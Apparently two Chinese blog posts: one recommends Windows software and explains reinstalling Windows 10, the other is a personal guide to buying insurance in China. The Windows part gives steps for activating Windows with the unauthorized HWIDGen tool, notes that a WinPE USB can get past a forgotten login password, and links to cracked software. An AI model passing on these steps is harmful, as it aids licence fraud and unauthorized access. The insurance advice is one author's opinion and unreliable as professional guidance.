纯净的本地播放器。
- QQ 影音是腾讯为数不多的精品软件，当大家以为腾讯要放弃这个产品时，居然更新了。
- 除了 QQ 影音，你的另一个选择是 PotPlayer：轻巧无广告，流畅不卡顿，强大而低调。详见 AppSo 的报道：PotPlayer：Windows 看片神器，用了它我再也没用过别的播放器。官网已无法正常访问（它只是一个单纯的本地视频播放器，它犯什么错了？！），所以需要你具备 科学上网 的能力。
其它软件
ToDesk
下班回到家，老板却不给你休息怎么办？
- 在单位和个人的电脑下载并安装 ToDesk （个人免费）
- 注册账号，并设为开机自启（私人设备可不自启）
- 下班后，公司的电脑不要关机
- 等待老板分配临时任务给你
- 用「手机 / 私人电脑」远程控制公司的电脑桌面
- 披星戴月，完成任务。Tomorrow is another day
详情，请参阅异次元软件世界的介绍：ToDesk - 免费流畅不限速的远程控制软件
同类软件：
- TeamViewer 个人使用也可能会被判定为商业用途。
- 向日葵 跟着月亮转，好似月光下的你跟着老板转
Dynamic Theme
免费的五星桌面壁纸软件，自动跟随 Bing 每日壁纸更新，无广告，无水印，支持自动保存壁纸到指定的文件夹。启动之后，也不会常驻在任务栏的通知区域，就像 Windows 10 系统自带的功能一样，可谓是「随风潜入夜，换图细无声」。每天通过一张漂亮的壁纸，去认识这个多姿多彩而又残酷的世界。
Microsoft To Do
无论是想提高工作效率、缓解压力，还是只想少记点东西，微软待办均让你能够轻松规划你的一天、管理你的生活，让你从工作到娱乐都保持专注。
- 免费提供：可在任意设备（iPhone、Android、Windows 10 和 Web）上使用和同步。
- 每日计划：使用「我的一天」，用智能个性化建议更新每日待办事项列表，每天都完成有意义的工作。
- 支持附件：向任意任务附加高达 25 MB 的文件。复制文件，在任务详情页 Ctrl + V 添加附件。
- 轻松共享：从查阅简单购物清单到规划重要的日子，共享列表都可帮助你与家人、朋友和同事保持联系。
- 支持标签：加上
#打上 Tags 后，就能对代办事项进行分组了。 - 一个技巧：清单（List）/ 组（Group）命名时以 Emoji 开头，清单（List）/ 组（Group）的图标也会变成对应的 Emoji。
- 需要帮助：请访问 Microsoft To Do 支持。
截至 2020 年 3 月 23 日，To Do 没有回收站功能。你可以新建一个叫「回收站」的清单，把已完成的任务移动或拖拽到这个清单列表里。或者去 Outlook 里还原已删除的任务：
- 用同一个的 Microsoft 帐户登录 Outlook（桌面网页版）。
- 点击侧边文件夹列表中
已删除邮件。 - 查找（
Ctrl+F）已删除的待办事项，右键单击它，选择还原。 - 重新打开 To Do，即可在
任务列表找到它，找不到就使用查找 🔍 功能。
Microsoft Whiteboard
一块自由形态数字画布，使用快捷键
Win + W打开微软白板（Microsoft Whiteboard）。优点
- 可导出 PNG 和 SVG。
- 提供 CC0 免费图库。
- 将墨迹转换为形状：目前支持正方形、矩形、三角形、圆、六边形、五边形和平行四边形。
- 双击查看整个白板（鸟瞰图）。更多用法参考 Microsoft Whiteboard 帮助
不足
- 目前仅支持 Windows 10 和 iOS。
- 需登录 Microsoft 帐户，登陆之后自动保存，顺畅继续。
Easy Cat Timer
一款简单可爱的倒计时软件，完全免费，支持中 英 两种语言，有网络就用 在线版，离线使用就下载 Windows 版。
微软拼音
自带的输入法已经足够好用，而国产的输入法有关不完的广告弹窗。
Win+;/.：可在任何应用程序中使用表情符号（Emoji）。通过自定义短语实时输入日期和时间
日期：
%yyyy%-%MM%-%dd%时间：
%HH%:%mm%来源：用微软拼音快速输入自定义格式的时间和日期 - walterlv
导入「小鹤双拼」方案
在桌面（或其它位置）右击
新建文本文档.txt复制并粘贴以下代码：
Windows Registry Editor Version 5.00[HKEY_CURRENT_USER\Software\Microsoft\InputMethod\Settings\CHS]"Enable Cloud Candidate"=dword:00000000"Enable Dynamic Candidate Ranking"=dword:00000001"EnableExtraDomainType"=dword:00000001"Enable self-learning"=dword:00000001"EnableSmartSelfLearning"=dword:00000001"EnableLiveSticker"=dword:00000000"Enable EUDP"=dword:00000001"Enable Double Pinyin"=dword:00000001"UserDefinedDoublePinyinScheme0"="小鹤双拼*2*^*iuvdjhcwfg^xmlnpbksqszxkrltvyovt""DoublePinyinScheme"=dword:0000000aCtrl+S保存，关闭把文件扩展名
.txt修改.reg：新建文本文档.reg，忽略警告双击
新建文本文档.reg即可导入「小鹤双拼」方案
关联阅读
Fliqlo
Fliqlo - 时隔 10 年，翻页时钟屏保更新，不再需要 Flash - 小众软件
关联阅读
Awesome Windows：Windows上优质 & 精选的最佳应用程序及工具列表，其/中包含这篇文章没讲的 数据恢复软件（因为我有良好的备份习惯）。
FXXKMAKEDING：Fuck 思杰马克丁，来这里下载「绿色」软件吧。
系统重装
下面介绍如何安装纯净的 Windows 10 系统。如果是较「老」的联想电脑，如 ThinkPad X220，不能通过以下方法重装系统，可用 联想原厂系统镜像 在空白的 U 盘中制作 Windows 10 家庭中文版系统盘。
下载 Windows 10
- （使用 迅雷）下载 Windows 10 光盘映像（ISO 文件）：截至 2019-10-12，最新版是 Windows 10 (business editions), version 1909 (x64) - DVD (Chinese-Simplified)
- 下载 360 驱动网卡版 ：防止电脑安装后无法联网
下载系统的同时，备份好电脑 C 盘（系统盘）内的数据。重要数据，备份 2 次：
- 云盘 1 份
- U 盘或移动硬盘 1 份
通常情况下，D 盘和 E 盘等在安装过程中，数据不会被清除，但为了保险起见，还是备份一下 C 盘以外的数据，毕竟数据无价。 不过，我的做法是全盘清空。因为重装系统后，不管原先放在哪个盘的软件，全部都要重装一遍。何不彻底一点，来个大扫除。
安装 Windows 10
直接安装
如果电脑可以正常开机，直接解压 Windows 10 镜像，双击
setup，按照提示，即可正常安装 Windows 10。U 盘安装
如果电脑不能正常开机，例如忘记开机密码（意味着此法可以 破解 Windows 本地开机密码），可以借助 U 盘（ 8G 以上；已备份好 U 盘内的数据）制作 WinPE 启动盘。
Windows PreInstallation Environment（Windows PE，简称 WinPE），其中文含义为 Windows 预安装环境。简单来说，WinPE 就是一个超级迷你版的 Windows。它可以安装在 U 盘中，从而可以通过 U 盘启动电脑。
制作 WinPE 启动 U 盘
- 下载并安装 微 PE 工具箱（Win10 PE 版）。
- 插入 U 盘
- 打开
微 PE 工具箱，选择右下角的其他安装方式-安装 PE 到 U 盘。程序会自动识别待写入的 U 盘，其他参数默认即可。立即安装进 Ｕ 盘。 - 安装完成后，把 Windows 镜像文件和网卡驱动一起复制到 U 盘里
设置 BIOS
- 设置 BIOS 中 U 盘为引导启动设备
Secure Boot改为Disabled，防止出现All boot options are tried- 有些笔记本电脑需要同时按
Fn+F*
进入 WinPE 安装系统
安装之前，如果对系统盘（C 盘）的容量不满意，可以先分区。
- 打开
Windows 安装器，选择 U 盘中的 Windows 安装文件。 选择引导驱动器：C 盘。安装磁盘的位置：C 盘。- 开始安装，选择专业版。
设置英文用户名（账户名）
避免某些程序不兼容。
更多玩法
- 参阅 微 PE 优盘使用说明书。
- FirPE：也许是最好用的 PE 维护系统,然而不够微 PE 好用。
- EasyRC 一键重装：也许是当前最简单、最快速的系统重装软件。EasyRC 摆脱了传统借助光驱、U盘等介质的繁琐，操作者无需任何技术基础，随时随地实现傻瓜式电脑系统重装（包括下载 Windows 镜像安装包）。
激活 Windows 10
数字许可证（在 Windows 10 版本 1511 中称为数字授权）是 Windows 10 的一种激活方法，该方法不需要输入产品密钥。
在 Windows 10 的所有系统中，无论系统是如何被激活的（通过 Windows7/8.1 升级或者购买零售密钥版密钥或者嵌入BIO，又名 MSDN 许可证）都会被转换成基于各自的设备硬件 ID（HWID）的一个数字许可证。这个证书储存在微软服务器并且每次安装系统时都会激活这台设备。只有当这台设备的硬件被更改（例如更换主板）时，才会导致许可证失效。通过将它绑定到一个微软账户（MSA）你可以在这种情况下转移证书从而激活这台（硬件被更改的）设备。
这个过程在每台机器上只需要执行一次。在以后的安装中只需要跳过任何需要密钥的地方（在安装的时候选择
我没有激活密钥），之后第一次联网的时候将自动联系微软服务器注册 HWID 并激活这台设备。翻译自 Justf
❗ 如果已使用密钥激活 Office 等产品，可能会丢失其激活状态。
前提条件
- 电脑已联网
- 关闭 VPN（退出翻墙客户端）
- 未关闭 Windows 更新服务（如何启动 Windows Update 服务）
激活步骤
- 下载最新的 HWIDGen。
- 运行
HWIDGen.exe。 - 点击右上角的工作模式（Work Mode），选择数字激活（HWID，Hardware Identity）。
- 点击开始（START），几分钟后，提示激活 Professional 成功（Successfully actived Professional），确定。
检查激活状态
- 方法一：按下键盘快捷键
Win+X，选择 Windows PowerShell，复制slmgr.vbs -xpr，粘贴（右键点击），Enter，显示计算机已永久激活。 - 方法二：按下键盘快捷键
Win+S，输入激活，选择激活设置，显示Windows 已使用数字许可证激活或Windows 已使用与 Microsoft 帐户关联的数字许可证激活，则表示激活成功。
关联阅读：激活 Windows 10 - Windows Help
激活后，找回隐藏的桌面图标
选择开始菜单 ，然后依次选择设置>个性化>主题>桌面主题设置> 勾选想要放在在桌面上的图标，例如计算机。购买新机
收到电脑后，先不要联网激活，用 U 盘拷贝 图吧工具箱 到新电脑，检测电脑的各项硬件。by 大终极笔记本电脑选购指南，帮你买到心仪的电脑｜大狸子切切里 - YouTube
参考资料
- 博客 庭说 2017-12-17 00:00:00
虽然中国的保险行业已经被职业水平不够的代理人黑化了，但是保险转移风险的作用不可忽视。本文将教你如何科学地配置保险，给人生加多一道保障。
保险概论
透过缴纳一定的费用，将一个实体潜在损失的风险向一个实体集合的平均转嫁。其实通俗地讲，就是一旦加入某个团体，就「一人有难，大家平摊」，是以货币形式平摊的社会风险转嫁机制，让你有钱治病，不会因病返贫。
认识风险
主要风险有四种：意外、疾病、死亡、养老。
我们分析这些，并不是想夸大这些风险，而是未雨绸缪。这样风险来临时，资金上才能够从容应对。
- 意外险：应对意外风险
- 医疗险和重疾险：应对疾病风险
- 寿险：应对死亡风险
所以：
- 健康险：应对的是「死太早」难题，钱没挣足就病了、人没活够就挂了。
- 养老年金：应对的则是「活太久」问题，人还活着、钱却花完了。
癌症显得越来越多，有两个原因：
- 人类的平均寿命增长了，因为癌症其实是一种老年病。从生物学上来说，人类由细胞构成，细胞增值分化时，DNA 不可能万无一失的复制，当错误积累到一定程度时，例如 60 岁，量变引发质变。而中老年时期，免疫系统开始退化，更难发现并捕杀癌细胞。所以每个人都有可能患癌，越到后期，越容易生病，而吸烟、喝酒、紫外线，霉变食物、油炸食物等环境因素只是会加快这一个病变的过程。这个解释，仅从我学的生物学知识出发，没有经过严密论证。
- 检测手段越来越发达，以及人们体检的意愿、意识越来越强。以前很多人死于癌症，Ta 和家属也不知道具体死因。
对于养老的问题，虽然现在市面上有年金险，理财险。但之前说过，理财性保险收益都很低，这也不是保险的本意。我们推荐工作后，持续把收入的一部分进行稳健投资，长期下来收益肯定比年金险、理财险要高。养老这种「确定性」风险，它本质是个理财问题。我们建议通过提前规划、稳健投资来应对。
而意外、疾病、死亡这种有「不确定性」的风险，则可以通过保险来应对。意外险、医疗险、重疾险和寿险这四种，正好能覆盖这些风险。
应对风险
保险是一种风险均摊机制，它能把这些未来的、不确定的、难以承受的风险，分摊到每一个参与保险的个体上，换句话说，保险就是花今天确定的“小钱”换取未来可能的一笔应急的“大钱”。当我们遭遇重大风险时，让我们有钱可用，不会从有钱变没钱。
年龄段 0 ~ 20 20 ~ 30 30 ~ 40 40 ~ 50 50 ~ 60 60 ~ 65 65+ 意外险 少儿意外险（学平险） 成人意外险（保额做高） 老年意外险 医疗险 百万医疗险（若健康不满足，则防癌医疗险） 防癌医疗险 重疾险 少儿重疾险（保障到 30 岁或 70 岁） 重疾险（保额 50 万起；保障到 70 岁或终生） 定期寿险 定期寿险（保障到退休） 养老 / 理财 大部分都不值得购买，年化收益率过低 保险术语
保额- 保额是事故发生后，保险公司赔付的金额。比如买了50万保额的重疾险，如果得了合同约定的大病，保险公司就会赔付 50 万
保费- 你交的钱
报销型- 凭票据报销，不可以重复理赔，例如医疗险
给付型- 达到理赔条件，一次性赔偿保额，买几份赔几份，例如重疾险
犹豫期- 就是买了保险之后，有一段时间可以让你清楚，如果反悔的话还来得及。
等待期- 又称观察期或免责期，是指保险合同在生效后的指定时间段内，即时发生保险事故，保险公司也不承担保险责任。
宽限期- 投保人可能因资金周转等种种原因，未能按期交保费，保险公司设定设定延交保费的宽限期。
理赔期- 被保险人或受益人在发生保险事故后，一般应该在 10 天内通知保险公司，这样保险公司可以在第一时间了解情况，判断并作出赔付。
保险思维
先买社会保险（其中包含医疗保险），再买商业保险
- 医保 是国家给老百姓最基础的福利保障，可带病投保，且保证续保，但在大病面前，医保杯水车薪，报销额度有限，所以需要补充商业保险
- 医保包含城镇职工基本医疗保险（职工医保）、城乡居民基本医疗保险（居民医保）和新型农村合作医疗（新农合）
- 一张图读懂医保
保险姓保，优先考虑风险转移的功能，而不是理财、返本、储蓄、分红
- 投资是进攻，保险是防守。两者一为生钱，一为护钱，都是理财规划的重要部分，两者要分别对待
优选消费型保险：如果保障期间未发生事故，保险公司不返还所交保费。选择这种产品，每一分钱都花在了给自己提供保障上，性价比很高避开返还型保险：如果保障期间未发生事故，会退还保费。这种看似挺好，但其实最终返还的钱就是自己平时多交的保费换来的，羊毛出在羊身上，很不划算
高保费、无保障、低收益、保本保息的分红险
- 第一，对于中产家庭来说，一年保费几万元绝对不菲，占用大量财务资源，此乃保费之高；保险期横跨几十年，如果中途想提前拿回钱，还要损失大量本金！
- 第二， 保费等于保额，此乃完全无保障；因为保费高昂，投保人以为自己花了很多钱，已经有了充足保障，殊不知完全相反。
- 第三，所谓保单收益（包含分红和固定返还金），实际在财务现金流分析工具里精算下来，真正的回报比一年定期还低，此乃低收益。
- 以上一句话概括，此类分红险占用大量财务资源、丝毫没有保障，还让家庭形成误区，以为自己买了许多保险，保障充足。
保费支出合理
- 要和自己的预算相匹配，千万不要为了买保险，反而影响了生活；我们购买保险，是为了更好的生活品质，不想生活被突如其来的冲击打乱。可是如果在保费上花费太多，也会使得生活质量下降；适合中国家庭的年保费支出以占家庭的税后收入比例在 5% 至 10% 为宜
- 税后年收入在 10 万元：日常开销可能比较紧张，5% 以内
- 年收入 30 万左右，为了防止阶层跌落，可以配置比较全的保险，保费开支控制在 10% 之内
- 税后年收入在 50 万以上：已有不少资产应对风险，保费占比可以在 5% 至 8% 之间灵活调整
先给谁买
- 先保家庭经济支柱（成人），而非父母和小孩
- 保险其实不是谁风险高先给谁买，而是谁发生风险对家庭的影响更大损失更严重，先给谁买
- 家庭的经济支柱，一旦出现重大疾病或意外，不仅收入来源中断，反而需要大笔支出，家庭会立马陷入困境，到那时支付孩子的老人的保费可能都是难题
- 举个例子：三口之家，如果孩子生了病，只要大人还在，就能继续赚钱给娃治病、养家。但如果家里最能赚钱的人倒下了，家庭就会面临更严重的经济重创
预算不够先买哪些
- 先从价格便宜、杠杆率高的意外险、医疗险开始配置，之后再考虑重疾险和寿险
- 尽量在 30 岁前配置好保险，最晚不超过 40 岁
- 保险公司以营利为目的，不是慈善机构，所以不保风险高的人，要保，加钱或免除特定疾病的保险责任；风险太高，拒保。所以趁身体健康时及时配置好保险（在经济能力允许的情况下，把年收入的 5% 至 15% 配置到保险上，以转移未来的风险）
- 大部分保险基本都不保先天性疾病、遗传性疾病
- 先天性疾病：一出生具有的畸形、变形或染色体异常
- 遗传性疾病：可能出生后一段时间或以后任何时间。具体指生殖细胞或受精卵的遗传物质（染色体和基因）发生突变或畸变所引起的疾病，通常具有由亲代传至后代的垂直传递的特征。例如血友病或者部分糖尿病
保险分类
分类一：
- 意外险：必备险种，一年几百块。
- 重大疾病险（以下简称重疾险）或防癌险（阉割版的重疾险）：必备险种，一年几千块。
- 百万医疗险（以下简称医疗险）：必备险种，一年几百块。
- 定期寿险（以下简称定寿）：当家了再买。
分类二：
- 消费型：没达到理赔条件，不赔钱。例如意外险和医疗险
- 储蓄型：年金险和教育金
- 消费型 + 储蓄型：返还型重疾险，生病赔钱，没生病，身故赔钱
- 因为在中国，对保险的认知还不够到位，觉得没理赔，到期还能拿钱是件很爽的事情，消费型 + 储蓄型 的保险也更受欢迎。其实，如果把 消费性+储蓄型的保险 与 同等配置的完全消费型保险对比，把每年多交的那部分钱与最后分红获得的收益放在一起，套入 IRR 函数计算，就可以算出这部分的收益十分低，甚至可能收益为负，不如直接储蓄或者买其他稳健的理财产品。
分类三：
给付型和报销型的理赔互不影响
- 给付型：例如重疾险，Ta 就像一个土豪朋友，发生重大疾病了，给个账号，我打钱，买多少赔多少，不限赔偿金的用途
- 报销型：例如资料先，Ta 就像一个财务会计，发生医疗支出了，拿发票来，我报销，用多少报多少。
医疗险与重疾险的区别：
- （百万）医疗险：用于报销高额医疗费，但是产品一旦停售、身体又出现变故，可能从此买不到了。
- 重疾险：也能解决重疾治疗费，但主要用于弥补后续几年的康复护理费用，以及补偿收入损失，安全系数高，保障稳定、持久。
意外险
定义
- 外来的、非本意的、突发的、非疾病的事件。
- 大意外：例如跌倒、坠落、烧伤、烫伤、溺水、火灾、车祸这样外来的，难以预料的意外事故。一旦发生这种情况，意外险就会按合同的约定，一次性给付保额。
- 小意外：摔倒了，被狗咬了，或是被猫抓了，可以用意外险报销相关医疗费用/
- 不包含：手术意外、中暑和高原反应等；猝死不算意外，但是某些意外险也会加上。
保费
- 每年一两百元，就可以获得几十万的保障，杠杆率很高。必备险种。
责任
- 意外身故
- 是否包含猝死看具体险种
- 意外伤残
- 假设你买了 100 万保额，正常意外险是按伤残等级赔付的，如果全残（即一级伤残）赔 100 万，三级伤残就是 80 万。然而有的意外险，意外死亡的保额是 100 万，意外伤残的保额却只有区区 10 万，又或者只陪全残。面对这种保障缺失的产品，一定要学会甄别与拒绝。
- 意外医疗及住院津贴
- 额度：选大于 1 万
- 免赔额：越低越好
- 赔付比例：越高越好
- 医保外用药：多数意外险并不包括医保外用药
建议
- 保额：30 万起步或年薪 2 倍以上
- 只买一年期消费性意外险，到期了，迭代为更好的意外险。拒绝长期返还型的意外险，例如百万行无忧、百万任我行、百万如意行……都是垃圾。
- 注意特定免责：对高空坠落做了免责。对溺水、单车事故（比如自己开车撞上墙）的保额做了限制
- 一般只保障中国大陆境内的意外，出境玩需要另外购买出境意外险。
- 若买了综合意外险，买机票 / 火车票 / 汽车票时搭卖的交通意外险就不需要买了（土豪请忽略，因为买的多赔得多，理赔互不影响）。
- 我目前的选择：小米综合意外险
- 应缴保费：169 元
- 保额
- 猝死保险：30 万
- 意外医疗：2 万
- 意外伤害：50 万
- 终止日期：2020-07-27
医疗险
生病住院了，自己花的钱超过 1 万的，保险公司全给报销（最高能报几百万），而每年保费只要几百块，这就是百万医疗险，你可以理解为高额住院医疗险。
优点
- 保费低：大部分人一年几百块就能买到上百万保额
- 保额高：
- 医保报销有个上限，不同城市不一样，大概在十万到三十万之间。另外医保有报销比例，也就是还需自己承担一部分。这些限制加在一起，导致面对花销大的疾病，医保的报销能力有限，否则也不会看到这么多轻松筹、水滴筹了。
- 而医疗险的保额一般 200 万起。但只是噱头，因为是报销制，重大疾病住院很难花几百万。
- 保障全：无论生病还是意外住院，都管
- 报销范围广：
- 医保对药品和治疗项目有严格的规定，很多疗效好、副作用小的进口药、特效药往往比较昂贵，却不在医保涵盖之内。
- 而医疗险不限社保用药，自费药、进口药、癌症靶向药……
缺点
免赔额高（1 万）
- 比如住院花了6万，先走国家医保报销了3万。那么剩下的3万里，1万属于免赔部分，需要自己负担掏，余下的2万可以用医疗险报销。
像我们平时感冒发烧，可能用不上医疗险。不过遇上大病就会特别给力，可以防止“因病返贫”。可谓，一个医疗险，消灭一个轻松筹。
- 比如住院花了6万，先走国家医保报销了3万。那么剩下的3万里，1万属于免赔部分，需要自己负担掏，余下的2万可以用医疗险报销。
不保证续保：没有一款产品可以做到终身保证续保（保监会规定），但没说不能阶段性保证续保，因此个别医疗险支持「真」保证续保 6 年（停售也可续保），但大部分都是「伪」保证续保（可连续投保，但停售不可续保）
不保既往症：既往症，指保单生效前，你已经知道、或者应该知道自己有的病
- 投保前，医生已有明确诊断，且长期治疗没间断
- 投保前，医生已有明确诊断，治疗后症状没完全消失，有间断用药情况
- 投保前已发生，未经医生诊断和治疗，但症状明显且持续存在，以普通人医学常识应该知道的
健康告知，过滤一部分不健康的投保者。既往症，再过滤一部分疾病的理赔。
高血压、糖尿病这些慢性病门诊，或者普通的感冒发烧，就不在保障之列。
怎么挑
续保难度
主流款产品的核心保障责任是差不多的。
百万医疗险，最大的不确定性在于：今年买了，不保证明年也能买到。不存在保证续保的百万医疗险，最多只有保证阶段性续保。如果产品停售，同时身体条件有变，再投保就很麻烦了。很可能就再也买不了了。优选的续保条件：续保无需审核，无需健康告知，无等待期，理赔和健康状况不影响保费。
介于此，在选择医疗险时，要从经营方的角度去思考问题，如果保险公司能持续挣钱，自然停售风险最小。投保人数越多越好（最好是爆款），健康告知相对严格为好（非标准体少，理赔概率小），价格越合理越好（太便宜保险公司不挣钱），保障内容越规范越好（不该赔的别乱赔）。所以我目前的选择是支付宝的好医保长期医疗。以后遇到更适合自己的再换，毕竟医疗险都是一年一买的。
保额覆盖范围
- 一般医疗保险金：保额 200 万至 300 万（再高也可能花不了），100% 报销，一般是每年 1 万免赔额
- 重大疾病医疗保险金：得了重疾（例如癌症），报销完一般医疗保险金，再报销重疾医疗保险金，一般是 0 免赔额
保障覆盖范围
- 住院医疗
- 特殊门诊
- 门诊手术
- 住院前后门急诊
报销范围
必看项：报销医院范围
- 大部分：二级及以上公立医院普通部
- 好一点：二级及以上医保定点医院普通部，包括医保定点的公立医院和私立医院
- 再好一点：二级及以上医院普通部。甭管私立、公立，二级及以上就报
- 加费可选：指定疾病特需医疗、出国诊疗
重点项：住院医疗费用
- 重点关注项：材料费、药品费、检查费，这些占 80% 至 90%
- 其他报销项：床位费、膳食费、护理费、治疗费、手术费等
重点项：特殊门诊费用
- 病情稳定无需住院、但花费高的疾病，需要走特殊门诊的也报销
- 重点关注：门诊肾透析、门诊恶性肿瘤、器官移植后的门诊抗排异治疗，这 3 项最常规也最烧钱
重点项：门诊手术费用
- 为缓解住院病床的压力，一些简单的可以在门诊进行的手术，也能报销
重点项：住院前后门急诊费用
- 门急诊指与住院同一原因的门急诊医疗费用
- 优选：可报销住院前 7 天、出院后 30 天的门急诊
- 备选：只报住院前后 7 天的门急诊
加分项：报销质子重离子
- 质子重离子是最先进的癌症治疗手段之一
- 报销比例主要分 100% 报销和 60% 报销两种
报销比例
- 有社保：先社保报销，然后超免赔额的部分，保险公司 100% 报销
- 没社保：保费比有社保的贵，但刨去免赔额后，一般也能 100% 报销
- 假装有社保：报销的时候发现没社保，抱歉，减去免赔额后只报 60%
住院就医时告诉医生：「我买了百万医疗险」，很多时候该怎么治、怎么用药，医生也能帮忙判断
增值服务
基本保障，保证了有钱看病。增值服务，影响着就医体验，例如就医绿色通道、住院医疗垫付/直付、指定疾病特许医疗、支持外购药物、 出国诊疗、第二诊疗意见和重疾住院津贴等。
就医绿色通道：好医院一号难求、一床难求，绿通能帮忙安排住院、安排手术。不过大部分绿通只针对重疾或恶性肿瘤
住院医疗垫付/直付：有了它，大病没钱也不慌
- 垫付：自费超免赔额后，保险公司垫之后的医药费，出院后，拿相关资料找保险公司结算
- 直付：更爽，自己花的钱超过免赔额的，保险公司直接和医院结算，出院后也不用你再去报销，拎包入住、治好走人
外购药物：很多人不知道，咱们国家存在一个 30% 的「药占比」，就医过程中，药品费不能超过总费用的30%，否则当事医生扣钱，院长都可能受批评，那怎么办呢？要么自费去外面买。要么，买能报销外购药的百万医疗险。一般的外购药物，报销 60%，因为这部分未经社保报销过。个别医疗险如果是肿瘤特药，到指定药店买 100% 报销，而且保险公司直付
第二诊疗意见：多方听取国内外的建议，尤其是癌症这种大病，避免被误诊。少部分医疗险才有此项增值服务
FAQ
Q：百万医疗险，可以重复买吗？
A：可以，但没必要。所有医疗险，都是实报实销，买再多，同一笔医疗费都只报一次。而且，百万医疗险的额度够高了，一般人也花不完，不必重复买。
重疾险
费用
- 针对刚毕业的年轻人，一年大几千购买重疾险过于昂贵，或者因为对自己未来收入变化无法预估，没法立刻择合适的产品，所以可以先购买短期的重疾险或支付宝里的相护宝（一次性给付，强烈推荐）。即在预算充足下选择终身，预算约束下先做足保额，后续动态调整至终身。
- 以 30 岁男性为例，投保 50 万保额，保到 70 周岁，30 年缴费，每年保费大概只要三四千元左右。如果经济允许，一次到位，保障到终身。
- 过了 60 岁，得重疾的概率蹭蹭涨，会出现以下几种情况
- 带病不能买
- 能买但是很贵
- 只能买阉割版的重疾险（防癌险）
理赔
- 买多少一次性赔给你多少，跟实际的治病花费没有关系（而医疗险是实报实销）。
- 买了两份重疾险，万一得了指定的大病，可以迭加理赔，
作用
补偿养病期间收入的损失，可以选择用来
- 覆盖治病、休养、康复的费用
- 生活支出和养家户口
- 甚至是投资与旅游
数量
- 无论哪个保险公司的重疾险，都必须包含保监会规定的 25 种重疾，它们加起来占重大疾病发病率的 95%（数据仅供参考）。
- 市面上重疾险产品，有的是 100 种重疾，有的是 50 种，且不说具体疾病的定义是否合理，这本身就是在小概率事件上做文章，差距不大。
- 恶行肿瘤，即癌症。
选购
- 缴费期限：尽量拉长交费期限，在触发豁免条款时可有效提升保险杠杆。
- 大家选购有轻症的产品，否则得了不小的病，又达不到重疾理赔条件，相比重疾而言，目前轻症还没有统一标准，选购时，要格外关注是否含有高发轻症，至少要包含以下四种
- 极早期恶性肿瘤或恶性病变
- 不典型的急性心肌梗塞
- 轻微脑中风后遗症
- 冠状动脉介入手术
- 重疾险，最好是选择产品形态简单一点的。这样既容易比较性价比，也不容易出现理解偏差。附带身故责任的重疾险（储蓄型），重疾理赔过后，身故就不会再赔了。有些用户错以为这样就不用买寿险。
- 以我为例。在代理人（亲人）的忽悠下，我花 5490 元买了 30 万保额的返还型重疾险：不幸得了重疾，赔 30 万；一生没病，身故赔 30 万。不管如何，这 30 万一定是你或者你家人的。
- 假设我得了重疾，治病需要 50 万，但是保险公司只能赔我 30 万。所以不够钱治病，再多的身故保障都是耍流氓。因此把重疾险的保额做到 50 万以上才是重点，买保险就是买保额，如果保额不足，真出事了扛不住。
- 身故责任是意外险和定寿的主场，所以可以把带身故责任的重疾险拆分成两个：一个是纯消费型的重疾险，一个是定寿。假设投保人得了重疾，可以用重疾险治病。但是若干年后又不幸去世，定寿也可以给家人充足的保障。而储蓄型重疾险就只能二选一。
- 返还型重疾险相当于保障 + 强制储蓄，但保障做得不全面，储蓄那部分的收益率不如基金等理财方式。适合手里完全存不下钱，除了定期存款没有任何理财知识的家庭购买。
我目前的无奈之选是：太平福禄康瑞终身重大疾病保险（从此之后，自学保险，防止代理人忽悠我买垃圾保险）
- 保额：30 万（带身故责任）
- 保费：5490 元
- 生效日：2017-12-17
- 缴费期：20 年（保终身）
寿险
适合高净值人群。
定义
- 在保障期间内如果不幸离世或者全残（完全丧失工作能力），就会赔付一笔钱。
分类
- 定期寿险：适合大部分普通家庭。定期寿险只保障固定的一段时间，具有「低保费、高保障」的优点
- 终身寿险：适合小部分富裕家庭
作用
- 万一家庭经济支柱不幸身故不幸去世，能留一笔钱来维持家庭生活水平、偿还债务（房贷和车贷）、儿女教育、赡养父母等，不至于给家庭带来双重打击，更是爱与责任的延续
建议
- 从 30 多岁保障到退休即可（60 ~ 70 岁）
- 退休后，房贷、车贷已还清，子女已成年，家庭责任较轻。身故会给家庭带来巨大悲痛，但带来的财务影响较小
保费
- 应对资金 =
家人 2 年缓冲期的生活支出+（债务 - 应急资金）× (个人月收入 / 家庭月收入)+长期责任（子女教育 + 父母赡养 ） - 以 30 岁男性为例，投保 100万 保额，保到 65 周岁（保障到退休年龄），30 年缴费，每年保费大概两千多
- 男性比女性贵，年龄越大保费越高
投保指南
老人
好买
- 年纪越大，患病风险越高，一旦生病，可选产品骤减
- 保额低，保费高，杠杆比很低
怎么买
- 先买短期报销型险种（医疗险），预算充足再买给付型险种（重疾险，防癌险）
儿童
- 先保大人再保小孩
- 在孩子出生三个月内就把医保办好
- 保监会规定：10 周岁以下小孩死亡最多赔 20 万，10 周岁至 18 周岁最多赔 50 万
少儿重疾险
- 保额：50 万以上
- 期限：定期即可，成年后再买终生重疾（土豪请忽略）
- 加分项：儿童特定高发重疾
- 作用：弥补治疗费用和家长的收入损失（要照看孩子）
保险心得
- 医保卡不外借：用你的医保卡买药，默认就是你得了这种病、花了这笔医药费，买保险的时候百口莫辩
- 就诊时主动告诉医生：我有商业保险
- 如果亲朋好友是保险代理人，你很可能会被亲情绑架而被迫买一些不厚道的产品。Ta 们可能被保险公司洗脑，自己也没发现这些产品的缺陷，也可能被利益冲昏头脑，明知故犯。我倾向第一种，因为 Ta 们的时间都用来学习如何销售，而不是研究产品。不过话又说回来，虽然有时候 Ta 们普及的保险配置思路是错误的，但有保险总比裸奔强，只是强多少而已
- 有疑问，直接拨打保险公司的客服电话，不要听保险代理人的忽悠
- 产品越简单越好，捆绑销售充满猫腻，例如平安福，打断腿都不能买
- 保险不是过了这个村就没有这个店，不要听信保险代理人停售的营销噱头
- 周岁生日生日前投保
FAQ
健康告知
谨慎起见，投保前不要进行体检。不用为了做健康告知特地去做个体检，一般只需要根据现有的体检报告、就医记录进行回答就行。否则万一查出个什么异常，导致无法投保，就吃大亏啦
不同保险产品的健康告知宽松度不一样
中国大陆的保险采用的是有限告知，就是问什么答什么，没有问的就不必说
如果健康询问里提到了身体已有的异常，首选通过智能核保、人工核保等方式进入下一步，保险公司会根据具体情况给出加费承保、延期承保、除外承保等处理方式
如不符合健康问询的要求，就不要投保，否则会有纠纷
多次理赔，但原件只有一份
- 找医院申请多开诊断证明，需要去医办室备案，具体流程是去病历室复印病历首页，到住院部找主治大夫开具诊断证明，再到医办室盖章就可以了
- 诊断证明复印件申请盖医院原章
- 第一家保险公司收了原件，可跟这家保险公司要求开具原件已收的证明，然后拿着复印件加盖业务章再去下一家理赔
